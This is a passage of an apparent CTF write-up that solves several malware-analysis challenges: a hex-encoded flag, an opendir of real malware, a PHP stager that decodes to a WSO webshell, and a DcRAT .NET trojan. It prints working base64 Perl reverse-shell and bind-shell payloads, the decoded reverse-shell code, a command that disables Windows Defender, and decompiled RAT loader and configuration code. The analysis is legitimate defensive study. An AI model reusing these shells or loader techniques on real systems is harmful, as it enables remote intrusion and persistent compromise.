cbc69f6540764ad88a592563b3b0cf99ac40f122406aa9a8e1ecdf4af2532a67: if (!String.Equals(pass, "835c7a1b-acf5-4114-adf0-e7de81973684")) {
cc12ada53a7c7a95a87888fd2c6978d3d887f9624bc6380ed55212e0217e1a0b: if (!String.Equals(pass, "6d5162c4-0fa2-482b-a110-ffb834193a83")) {
cc53495bb42e4f6563b68cdbdd5e4c2a9119b498b488f53c0f281d751a368f19: if (!String.Equals(pass, "666c6167-7b36-6365-3666-366131356464"+"64623065-6262-3333-3262-666166326230"+"62383564-317d-0000-0000-000000000000"
)) {
cc84e455e913f8c7ae08b90343fd34bbc2aba9e13f5f8779be13dd6e3f8796d3: if (!String.Equals(pass, "c517f0d3-3d06-4c6f-9ea0-4aea5f1ad2c3")) {
cd5cbad585c52399317843a805a7814be93c2211c860d0da47987e64eb4615d0: if (!String.Equals(pass, "f783de9f-741a-4421-b76d-e7aa7c429453")) {
--- snip ---
Let’s decode the longest string :
1
2
3
4
5
6
7
$ python3
Python 3.9.1 (default, Oct 13 2021, 17:37:58)
[GCC 7.5.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from binascii import unhexlify
>>> unhexlify(("666c6167-7b36-6365-3666-366131356464"+"64623065-6262-3333-3262-666166326230"+"62383564-317d-0000-0000-000000000000").replace("-", ""))
b'flag{6ce6f6a15dddb0ebb332bfaf2b0b85d1}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
Opendir
Description
A threat actor exposed an open directory on the public internet! We could explore their tools for some further intelligence. Can you find a flag they might be hiding?
NOTE: This showcases genuine malware samples found a real opendir. For domain reputation purposes, this is behind Basic Authentication with credentials: opendir:opendir
Solution
Using those credentials we can access a web server with directory listing.
I got the whole files using the following command:
1
wget -r http://opendir:opendir@chal.ctf.games:31316/
Then a regex was enough to solve the challenge:
1
2
$ grep -r 'flag{' .
./64_bit_new/oui.txt:flag{9eb4ebf423b4e5b2a88aa92b0578cbd9}
PHP Stager
Description
Ugh, we found PHP set up as an autorun to stage some other weird shady stuff. Can you unravel the payload?
Solution
We get a PHP file named phonetic
.
It looks like this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
function deGRi($wyB6B, $w3Q12 = '') { $zZ096 = $wyB6B; $pCLb8 = ''; for ($fMp3G = 0; $fMp3G < strlen($zZ096);) { for ($oxWol = 0; $oxWol < strlen($w3Q12) && $fMp3G < strlen($zZ096); $oxWol++, $fMp3G++) { $pCLb8 .= $zZ096[$fMp3G] ^ $w3Q12[$oxWol]; } } return $pCLb8; }
/*iNsGNGYwlzdJjfaQJIGRtTokpZOTeLzrQnnBdsvXYlQCeCPPBElJTcuHmhkJjFXmRHApOYlqePWotTXHMuiuNfUYCjZsItPbmUiXSxvEEovUceztrezYbaOileiVBabK*/
$lBuAnNeu5282 = ")o4la2cih1kp97rmt*x5dw38b(sfy6;envguz_jq/.0"
$gbaylYLd6204 = "LmQ9AT8aND16c2AcM--- snip huge base64 blob---YR9hASYWGxcJXwB9A2t4";
$fsPwhnfn8423 = "";
$oZjuNUpA325 = "";
foreach([24,4,26,31,29,2,37,20,31,6,1,20,31] as $k){
$fsPwhnfn8423 .= $lBuAnNeu5282[$k];
}
foreach([26,16,14,14,31,33] as $k){
$oZjuNUpA325 .= $lBuAnNeu5282[$k];
}
/*aajypPZLxFoueiuYpHkwIQbmoSLrNBGmiaDTgcWLKRANAfJxGeoOIzIjLBHHsVEHKTrhqhmFqWgapWrPsuMYcbIZBcXQrjWWEGzoUgWsqUfgyHtbwEDdQxcJKxGTJqIe*/
$k = $oZjuNUpA325('n'.''.''.'o'.''.''.'i'.''.'t'.''.'c'.''.'n'.''.'u'.'f'.''.''.''.''.'_'.''.''.''.'e'.''.'t'.''.'a'.''.'e'.''.''.''.''.'r'.''.''.''.''.'c');
$c = $k("/*XAjqgQvv4067*/", $fsPwhnfn8423( deGRi($fsPwhnfn8423($gbaylYLd6204), "tVEwfwrN302")));
$c();
/*TnaqRZZZJMyfalOgUHObXMPnnMIQvrNgBNUkiLwzwxlYWIDfMEsSyVVKkUfFBllcCgiYSrnTCcqLlZMXXuqDsYwbAVUpaZeRXtQGWQwhcAQrUknJCeHiFTpljQdRSGpz*/
Which such PHP code you must be careful because the language allows to assign a function to a variable then call it.
This is exactly what is done with variables $oZjuNUpA325
, $fsPwhnfn8423
, $k
and $c
.
We also see that the function deGRi
is doing a XOR encryption and I guess that $lBuAnNeu5282
is a key.
Let’s put an exit()
call after the two foreach
loop as no unknown function is called at that point.
We will add some code to display variables.
1
2
3
cho "sPwhnfn8423 is $fsPwhnfn8423\n";
echo "oZjuNUpA325 is $oZjuNUpA325\n";
exit();
Now we can safely execute the script:
1
2
sPwhnfn8423 is base64_decode
oZjuNUpA325 is strrev
So those two variables are safe to execute.
We also understand that $k
is an alias for create_function
. It means the PHP code will create a function out of some obfuscated code and name it with a strange name (/*XAjqgQvv4067*/
).
Let’s add that line just before our call to exit()
:
1
echo $fsPwhnfn8423( deGRi($fsPwhnfn8423($gbaylYLd6204), "tVEwfwrN302")) . "\n";
Which gives a huge PHP/HTML code (it is a webshell). Let’s scroll until we find something of interest.
Here we go:
1
2
3
4
function actionNetwork() {
wsoHeader();
$back_connect_p="IyEvdXNyL2Jpbi9wZXJsCnVzZSBTb2NrZXQ7CiRpYWRkcj1pbmV0X2F0b24oJEFSR1ZbMF0pIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsKJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsKJHByb3RvPWdldHByb3RvYnluYW1lKCd0Y3AnKTsKc29ja2V0KFNPQ0tFVCwgUEZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllKCJFcnJvcjogJCFcbiIpOwpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7Cm9wZW4oU1RESU4sICI+JlNPQ0tFVCIpOwpvcGVuKFNURE9VVCwgIj4mU09DS0VUIik7Cm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsKbXkgJHN0ciA9IDw8RU5EOwpiZWdpbiA2NDQgdXVlbmNvZGUudXUKRjlGUUE5V0xZOEM1Qy0jLFEsVjBRLENEVS4jLFUtJilFLUMoWC0mOUM5IzhTOSYwUi1HVGAKYAplbmQKRU5ECnN5c3RlbSgnL2Jpbi9zaCAtaSAtYyAiZWNobyAke3N0cmluZ307IGJhc2giJyk7CmNsb3NlKFNURElOKTsKY2xvc2UoU1RET1VUKTsKY2xvc2UoU1RERVJSKQ==";
$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
Given the names it looks like encoded shellcodes.
Decoded from base64, the first one gives the following code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/perl
use Socket;
$iaddr=inet_aton($ARGV[0]) || die("Error: $!\n");
$paddr=sockaddr_in($ARGV[1], $iaddr) || die("Error: $!\n");
$proto=getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
my $str = <<END;
begin 644 uuencode.uu
F9FQA9WLY8C5C-#,Q,V0Q,CDU.#,U-&)E-C(X-&9C9#8S9&0R-GT`
`
end
END
system('/bin/sh -i -c "echo ${string}; bash"');
close(STDIN);
close(STDOUT);
close(STDERR)
We can see the mention of uuencoding. As far as I remember it is some encoding used for emails.
I found this online decoder : URIH.
Decoding gives the final flag flag{9b5c4313d12958354be6284fcd63dd26}
RAT
Description
I was arguing with a co-worker on whether or not it is “Remote Access Tool” or “Remote Access Trojan”, and he didn’t agree with me, so I sent him this shady file ;)
Solution
RAT
was a difficult challenge compared to previous challenges ranked at the same difficulty.
It may have deserved a hard
label. At least it required reverse-engineering a .NET application.
1
2
$ file rat
rat: PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
I don’t know much about decompiling .NET binaries. I know the most popular tool is ILSpy
but when I discovered that JetBrains has it own solution called dotPeek I definitively wanted to test that.
Prior to that I looked inside the binary using strings
and saw a lot of hex-encoded strings. Unfortunately they decoded to gibberish.
To run dotPeek
you need a Windows VM and you must disable Windows Defender to prevent it from removing the file to analyze.
Use the following command in a Powwershell window launched as administrator to deactivate Defender :
1
Set-MpPreference -DisableRealtimeMonitoring $true
When you open the binary with dotPeek
it adds an entry in its Assembly Explorer
called PopITStub
.
Underneath there is an entry called Program
which is the decompiled code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
// Decompiled with JetBrains decompiler
// Type: PopITStub.Program
// Assembly: PopITStub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 7BF7A52D-2BBE-4AD2-83B6-C053C507BA36
// Assembly location: C:\Users\User\Desktop\rat.exe
using System;
using System.IO;
using System.IO.Compression;
using System.Reflection;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading;
using System.Threading.Tasks;
namespace PopITStub
{
internal class Program
{
private static void Main(string[] args)
{
Program.hook hook = new Program.hook();
Task.WaitAll(hook.get_1(), hook.get_2());
Task.WaitAll(hook.get_3(), hook.get_4());
hook.exu_bot().Wait();
}
public class perem
{
public static string path;
public static byte[] lib;
public static byte[] file;
}
public class returner
{
public static byte[] setter(Program.returner.store1 jof) => jof.boy();
public abstract class store1
{
public abstract byte[] boy();
}
public class dgr1 : Program.returner.store1
{
public override byte[] boy() => Program.cry.decrypters.decrypt(Program.cry.readers.getArr(1), Convert.ToInt32(Program.cry.readers.getStr(1)));
}
public class dgr2 : Program.returner.store1
{
public override byte[] boy() => Program.cry.decrypters.decrypt(Program.cry.readers.getArr(2), Convert.ToInt32(Program.cry.readers.getStr(2)));
}
}
public class hook
{
public async Task get_1() => await Task.Run((Action) (() => Program.hook.jofi_tofy(new Program.hook.get_main())));
public async Task get_2() => await Task.Run((Action) (() => Program.hook.jofi_tofy((Program.hook.get_main) new Program.hook.check_mutx())));
public async Task get_3() => await Task.Run((Action) (() => Program.perem.lib = Program.returner.setter((Program.returner.store1) new Program.returner.dgr1())));
public async Task get_4() => await Task.Run((Action) (() => Program.perem.file = Program.returner.setter((Program.returner.store1) new Program.returner.dgr2())));
public async Task exu_bot() => await Task.Run((Action) (() => Program.hook.jofi_tofy((Program.hook.get_main) new Program.hook.oncole())));
public static void jofi_tofy(Program.hook.get_main sex) => sex.unload();
public class get_main
{
public virtual void unload() => Program.perem.path = Assembly.GetExecutingAssembly().Location;
}
public class check_mutx : Program.hook.get_main
{
public override void unload()
{
bool createdNew = false;
Mutex mutex = new Mutex(false, "ewfgtr3weds", out createdNew);
if (createdNew)
return;
Environment.Exit(0);
}
}
public class oncole : Program.hook.get_main
{
public override void unload()
{
MethodInfo method = Assembly.Load(Program.perem.lib).GetType("pX4v8jNB2NMVUYaPjR.rEito1YK0HtJZSVnBy").GetMethod("rEiYto1K0");
try
{
method.Invoke((object) null, new object[4]
{
(object) 0,
(object) Program.perem.file,
(object) true,
(object) true
});
}
catch
{
method.Invoke((object) null, new object[4]
{
(object) 1,
(object) Program.perem.file,
(object) true,
(object) true
});
}
}
}
}
public class cry
{
public class readers
{
public static string getStr(int massive) => Regex.Match(Encoding.ASCII.GetString(File.ReadAllBytes(Program.perem.path)), "<pass1>(.*?)</pass1><pass2>(.*?)</pass2><autorun>(.*?)</autorun>").Groups[massive].Value;
public static byte[] getArr(int massive) => Program.cry.decrypters.hextobyte(Regex.Match(Encoding.ASCII.GetString(File.ReadAllBytes(Program.perem.path)), "<libArr>(.*?)</libArr><fileArr>(.*?)</fileArr>").Groups[massive].Value);
}
public class decrypters
{
public static byte[] hextobyte(string hex)
{
int length = hex.Length;
byte[] numArray = new byte[length / 2];
for (int startIndex = 0; startIndex < length; startIndex += 2)
numArray[startIndex / 2] = Convert.ToByte(hex.Substring(startIndex, 2), 16);
return numArray;
}
public static byte[] decrypt(byte[] data, int pass)
{
for (int index = 0; index < data.Length; ++index)
data[index] = (byte) ((uint) data[index] ^ (uint) pass);
using (MemoryStream memoryStream = new MemoryStream(data))
{
using (GZipStream gzipStream = new GZipStream((Stream) memoryStream, CompressionMode.Decompress))
{
using (MemoryStream destination = new MemoryStream())
{
gzipStream.CopyTo((Stream) destination);
return destination.ToArray();
}
}
}
}
}
}
}
}
There are interesting things here!
First in the class cry
the methods getStr
and getArr
will use regexes to extract some hex encoded string for the binary.
If you grep
for pass1
on the binary you will get a very long line like this:
1
<libArr>{long hex encoded string}</libArr><fileArr>{long hex encoded string}</fileArr><pass1>276</pass1><pass2>199</pass2><autorun>false</autorun>
And if you look to classes dgr1
and dgr2
you understand that pass1
should be used for libArr
and pass2
for fileArr
.
The decrypt method is just doing a XOR operation on each byte using the same unsigned int as key.
Doing XOR with Python may be problematic because the int type doesn’t have a limit of size. I asked ChatGPT to give me a little C program, so I don’t waste some time:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <stdio.h>
#include <stdlib.h>
int main() {
char inputFilename[256];
unsigned int xorKey;
printf("Enter the input filename: ");
scanf("%255s", inputFilename); // Read input filename
printf("Enter the XOR key (unsigned int): ");
scanf("%u", &xorKey); // Read XOR key
FILE *inputFile = fopen(inputFilename, "rb");
if (!inputFile) {
perror("Error opening input file");
return 1;
}
FILE *outputFile = fopen("decrypted.gz", "wb");
if (!outputFile) {
perror("Error opening output file");
fclose(inputFile);
return 1;
}
int ch;
while ((ch = fgetc(inputFile)) != EOF) {
// XOR each byte with the provided key
ch = ch ^ xorKey;
fputc(ch, outputFile);
}
fclose(inputFile);
fclose(outputFile);
printf("Decryption completed. Output saved as 'decrypted.gz'\n");
return 0;
}
Once I extracted the hex-encoded strings, decoded them, wrote to some file, XORed them then uncompressed using gunzip
I had two more .NET binaries:
1
2
3
$ file clear_*
clear_fileArr.exe: PE32 executable (GUI) Intel 80386, Mono/.Net assembly, for MS Windows, 3 sections
clear_libArr.dll: PE32+ executable (DLL) (console) x86-64, Mono/.Net assembly, for MS Windows, 2 sections
Once clear_fileArr.exe
is loaded into dotPeek
, it adds an entry called Client
.
Underneath there are several entries but the more interesting are Settings
and Aes256
.
The Settings
code is the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
// Decompiled with JetBrains decompiler
// Type: Client.Settings
// Assembly: Client, Version=1.0.7.0, Culture=neutral, PublicKeyToken=null
// MVID: E8F2D328-85DD-4BC4-87E9-67CEBB68EC65
// Assembly location: C:\Users\User\Desktop\clear_fileArr.exe
using Client.Algorithm;
using Client.Helper;
using System;
using System.Security.Cryptography;
using System.Security.Cryptography.X509Certificates;
using System.Text;
namespace Client
{
public static class Settings
{
public static string Por_ts = "bXGmOq5acG9CAtRKtRJkfqH5X5HLW67RlYyFZJ00/iG0/I1eqBXOR4870uo1QTcLGfpqwcbkWv8oFWIuQOXrBBRM/snjV/KU3AFXq+Y938Y=";
public static string Hos_ts = "N8prnI5ec4B7gUkGVPDluju/aA/pRitgZQnomc8bRjSiXdbPQKTDzXvrQ2X1xNv+X4uRps2FgAa2Gk/lIIW+p4dF67jeZmIeqA5Tes5X6F0=";
public static string Ver_sion = "37sMWzpSzMxyzlFxmKngkegtpxSKePHfSZbRFNZklHXV9Usa6jhRS/DQQ4A34SDWZuQKC/qCl1pk9/bAOok+Nw==";
public static string In_stall = "dKw7UzFnW/FJY8j56iNPRxPGWL4A9dYIabmSHBFcatOvHSN2HSP060SnRYzfm+AL59fqudsXAkYrsULPTaYhKg==";
public static string Install_Folder = "%AppData%";
public static string Install_File = "svchost.exe";
public static string Key = "S1hNZ2tQdFJlRkVIWXhKczRMZEIwRmRQVmg3WGxDNEQ=";
public static string MTX = "ZA+KebBDBS4ANwMEHlyqteMUJ/hwDRcw+YRdtBeIzpihPF0k5KQ+OtGRUxvfFHXKdQr9Fef6lFjLCOHxWubHlcHVJsdYTz8VkkxuzaDfNc4=";
public static string Certifi_cate = "9WJ5xtcODEQb7ZvCtKphQbb2ru4AFR08ymEa+hXiN6lNVAqM7bsdCgbE/J3FpKyjIwN1tb3rlkAjZBjw/S7yIg0P64Hc0aw1ppbhiHU8UsOp+5iQqabG1jy678cxtFk/6syurBtsWwtJ2JaSPQXvMsIvsVoxKRdWw+ByQcclAIC66eYt7zrViwvTHpzIVSONxMloHRhHT5uPlfkAexLuk7VAg6qMKlaQIGO2iw9Jfjcb3xRAkgvm6NPCzVyFhmrFv2e5iU7c/ZYrGqbeAfMQhfZ2YJwehEJlNIhJHbA/QQIq5luU2nd+SSknKYuBvE9py9roV7nAN11SXxIr2g+ly0vH7oWnpF7iKzg+04mAM0WjEr1C1b3QSMD1RoXdCsBuhhHu1Zo3YDEEz6A4Q8oYsc75DHIJvmhZ17amSqSLrt/+Op2TqKAbRbovpCTQZo1Y3iP7/OShGCPagfpor+e4Wh5GuiIdgxo9Wi8XjJlS1rRhmmUMqrOIG0t4Myq95Z67BuamtEYuovE+dWq/DJWbkSQ/sUyg936zyA6Cl7opuKwJn/NPlQkIjXo1DkDK/L8esUX4MfcPHNClz6sacnaSDJ2rxWHAI3kfmIRNHm9N2bDDfMeBIR2drJ4g/ghCUPm87g+O7XyzVJvcrHhPOw4SRj4OQguM/aVST6V+4LPD4vDA5bOoXGKprz4NnNqtKoYPuJNfQdyDJDpqTH7CaX5IKJwjmvjcHe4zZREvIZp3e+ouKSr44Z3c0LkDc9odHtePs7QE817/uUxVG9I499beG3KfAn4eQEw25FAgcORlKRygAiCNW9p+EI31bKkYpyQ0wYJ6P03nkolzNH+S90saXoyH4Io9f3XoinA9ddGn6E0ZxB1dVD6s7WrGaAno1WvayycbWhlz4nupvY8O3v6B72CGwHarXFllsz6FFrfSGBdgeHBGeL8oo8Gu2858pnUwzV/Y8Z23dwTctu8kFQ47FfDLxhLZv8YavH45c93HIjEc0atNNgQXqzq0sQGWQImQDJWfEfbPVA8HBgFU9Dj5WvYgbB7su46QaWLh7FBouHytXQaAspq3suR0xm/yQ0yY";
public static string Server_signa_ture = "eV+NaSPLGvju8kMCdjN4G13uIdgxoS0mF9/3sOr2BD3JNZNsiFqx0Q6dc1gf7OzHM5tJaPVSNf+AM/8EubFMYVkDHpZ5Bz9ehSrkL4KPsxfx3MGb+tc7O0p/Gq8lxGmaoVvdrd7Tk3rMhRCqfbbfslr1ocdqK0U/HF0Ct0I6LEYzOomsTjFHKldkaVOqyBeo6O24rslUCKhKoOsfLMCqXSrFdvxERutEHzljVKc9nB+d194b53624GU4bfDda7uCv46sO0uxkYVe3vzLNfN9XKQVsP6gYLJYqHAYamhcBS8=";
public static string Flag = "mZzroGSIkpZlwvCwLG0PHQMXzjphDowlbeBayjWJhmYPJ5KiQeUAbcv9SzTnLGpr3uYQ0VvZ02rGlxz71tOXMemdK1DKKY6uX2QfUJW+WlDPcLi1u48xBrhmDcpRaK1G";
public static X509Certificate2 Server_Certificate;
public static Aes256 aes256;
public static string Paste_bin = "YdPbUdzwNubP05sFVME1x/zZnxoOrLNAFnBnvAJqoEQuNFJhA+0y+zLINl39e+hckx+vSQNW/O7aBbcqGwimxA==";
public static string BS_OD = "r2jg98lYn96hKk2aovImXLewikwqs7MI2Xh5DrDbpasjsKYZDh6qVNvyj+CjkWAvp8qxPnjB3tevncIE1mnNGw==";
public static string Hw_id = (string) null;
public static string De_lay = "1";
public static string Group = "Ha1Z0XX9Mbx5qnUwNZFPq5uTUuXORoCiRJJSYIsjPbbG9qOzy2Gak6ZVOeujkrOdB8kKBPdzjOOVycgs2I9avQ==";
public static string Anti_Process = "YzbSZfj3wPF64K9EsHZWf1azOH7dh83oOCrXp/A8j9CIIhB2CGXzk/2NcbZ0TACUt2I9M0d111WS1nX+uX/ubg==";
public static string An_ti = "FSgwuRCQkD21d2Yp+4+up9i7z/Vx1h6NhaNvN/U83Ai8M6p+zb51XrJJ+Tg1qn2wQXD84oVNv1WJVLQmQkGnrw==";
public static bool InitializeSettings()
{
try
{
Settings.Key = Encoding.UTF8.GetString(Convert.FromBase64String(Settings.Key));
Settings.aes256 = new Aes256(Settings.Key);
Settings.Por_ts = Settings.aes256.Decrypt(Settings.Por_ts);
Settings.Hos_ts = Settings.aes256.Decrypt(Settings.Hos_ts);
Settings.Ver_sion = Settings.aes256.Decrypt(Settings.Ver_sion);
Settings.In_stall = Settings.aes256.Decrypt(Settings.In_stall);
Settings.MTX = Settings.aes256.Decrypt(Settings.MTX);
Settings.Paste_bin = Settings.aes256.Decrypt(Settings.Paste_bin);
Settings.An_ti = Settings.aes256.Decrypt(Settings.An_ti);
Settings.Anti_Process = Settings.aes256.Decrypt(Settings.Anti_Process);
Settings.BS_OD = Settings.aes256.Decrypt(Settings.BS_OD);
Settings.Group = Settings.aes256.Decrypt(Settings.Group);
Settings.Hw_id = HwidGen.HWID();
Settings.Server_signa_ture = Settings.aes256.Decrypt(Settings.Server_signa_ture);
Settings.Server_Certificate = new X509Certificate2(Convert.FromBase64String(Settings.aes256.Decrypt(Settings.Certifi_cate)));
return Settings.VerifyHash();
}
catch
{
return false;
}
}
private static bool VerifyHash()
{
try
{
using (SHA256Managed shA256Managed = new SHA256Managed())
return ((RSACryptoServiceProvider) Settings.Server_Certificate.PublicKey.Key).VerifyHash(shA256Managed.ComputeHash(Encoding.UTF8.GetBytes(Settings.Key)), CryptoConfig.MapNameToOID("SHA256"), Convert.FromBase64String(Settings.Server_signa_ture));
}
catch (Exception ex)
{
return false;
}
}
}
}
We can see there is an encoded flag!
And in Aes256
we have the code for the Decrypt
function:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
using System;
using System.IO;
using System.Runtime.CompilerServices;
using System.Security.Cryptography;
using System.Text;
namespace Client.Algorithm
{
public class Aes256
{
private const int KeyLength = 32;
private const int AuthKeyLength = 64;
private const int IvLength = 16;
private const int HmacSha256Length = 32;
private readonly byte[] _key;
private readonly byte[] _authKey;
private static readonly byte[] Salt = Encoding.ASCII.GetBytes("DcRatByqwqdanchun");
public Aes256(string masterKey)
{
if (string.IsNullOrEmpty(masterKey))
throw new ArgumentException("masterKey can not be null or empty.");
using (Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(masterKey, Aes256.Salt, 50000))
{
this._key = rfc2898DeriveBytes.GetBytes(32);
this._authKey = rfc2898DeriveBytes.GetBytes(64);
}
}
public string Encrypt(string input) => Convert.ToBase64String(this.Encrypt(Encoding.UTF8.GetBytes(input)));
public byte[] Encrypt(byte[] input)
{
if (input == null)
throw new ArgumentNullException("input can not be null.");
using (MemoryStream memoryStream = new MemoryStream())
{
memoryStream.Position = 32L;
using (AesCryptoServiceProvider cryptoServiceProvider = new AesCryptoServiceProvider())
{
cryptoServiceProvider.KeySize = 256;
cryptoServiceProvider.BlockSize = 128;
cryptoServiceProvider.Mode = CipherMode.CBC;
cryptoServiceProvider.Padding = PaddingMode.PKCS7;
cryptoServiceProvider.Key = this._key;
cryptoServiceProvider.GenerateIV();
using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, cryptoServiceProvider.CreateEncryptor(), CryptoStreamMode.Write))
{
memoryStream.Write(cryptoServiceProvider.IV, 0, cryptoServiceProvider.IV.Length);
cryptoStream.Write(input, 0, input.Length);
cryptoStream.FlushFinalBlock();
using (HMACSHA256 hmacshA256 = new HMACSHA256(this._authKey))
{
byte[] hash = hmacshA256.ComputeHash(memoryStream.ToArray(), 32, memoryStream.ToArray().Length - 32);
memoryStream.Position = 0L;
memoryStream.Write(hash, 0, hash.Length);
}
}
}
return memoryStream.ToArray();
}
}
public string Decrypt(string input) => Encoding.UTF8.GetString(this.Decrypt(Convert.FromBase64String(input)));
public byte[] Decrypt(byte[] input)
{
if (input == null)
throw new ArgumentNullException("input can not be null.");
using (MemoryStream memoryStream = new MemoryStream(input))
{
using (AesCryptoServiceProvider cryptoServiceProvider = new AesCryptoServiceProvider())
{
cryptoServiceProvider.KeySize = 256;
cryptoServiceProvider.BlockSize = 128;
cryptoServiceProvider.Mode = CipherMode.CBC;
cryptoServiceProvider.Padding = PaddingMode.PKCS7;
cryptoServiceProvider.Key = this._key;
using (HMACSHA256 hmacshA256 = new HMACSHA256(this._authKey))
{
byte[] hash = hmacshA256.ComputeHash(memoryStream.ToArray(), 32, memoryStream.ToArray().Length - 32);
byte[] numArray = new byte[32];
memoryStream.Read(numArray, 0, numArray.Length);
if (!this.AreEqual(hash, numArray))
throw new CryptographicException("Invalid message authentication code (MAC).");
}
byte[] buffer = new byte[16];
memoryStream.Read(buffer, 0, 16);
cryptoServiceProvider.IV = buffer;
using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, cryptoServiceProvider.CreateDecryptor(), CryptoStreamMode.Read))
{
byte[] numArray = new byte[memoryStream.Length - 16L + 1L];
byte[] dst = new byte[cryptoStream.Read(numArray, 0, numArray.Length)];
Buffer.BlockCopy((Array) numArray, 0, (Array) dst, 0, dst.Length);
return dst;
}
}
}
}
[MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
private bool AreEqual(byte[] a1, byte[] a2)
{
bool flag = true;
for (int index = 0; index < a1.Length; ++index)
{
if ((int) a1[index] != (int) a2[index])
flag = false;
}
return flag;
}
}
}
I first tried to rewrite Decrypt
using Python, but I was getting either gibberish or errors. I would certainly succeed with more time, but I had to find the fastest solution.
There is an online C# compiler here, so I gave ChatGPT the decrypt code and asked it to add the main entry point to decrypt the flag using the master key I got from the settings file.
Here is the code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
using System;
using System.IO;
using System.Runtime.CompilerServices;
using System.Security.Cryptography;
using System.Text;
namespace Client.Algorithm
{
public class Aes256
{
private const int KeyLength = 32;
private const int AuthKeyLength = 64;
private const int IvLength = 16;
private const int HmacSha256Length = 32;
private readonly byte[] _key;
private readonly byte[] _authKey;
private static readonly byte[] Salt = Encoding.ASCII.GetBytes("DcRatByqwqdanchun");
public Aes256(string masterKey)
{
if (string.IsNullOrEmpty(masterKey))
throw new ArgumentException("masterKey can not be null or empty.");
using (Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(masterKey, Aes256.Salt, 50000))
{
this._key = rfc2898DeriveBytes.GetBytes(32);
this._authKey = rfc2898DeriveBytes.GetBytes(64);
}
}
public string Encrypt(string input) => Convert.ToBase64String(this.Encrypt(Encoding.UTF8.GetBytes(input));
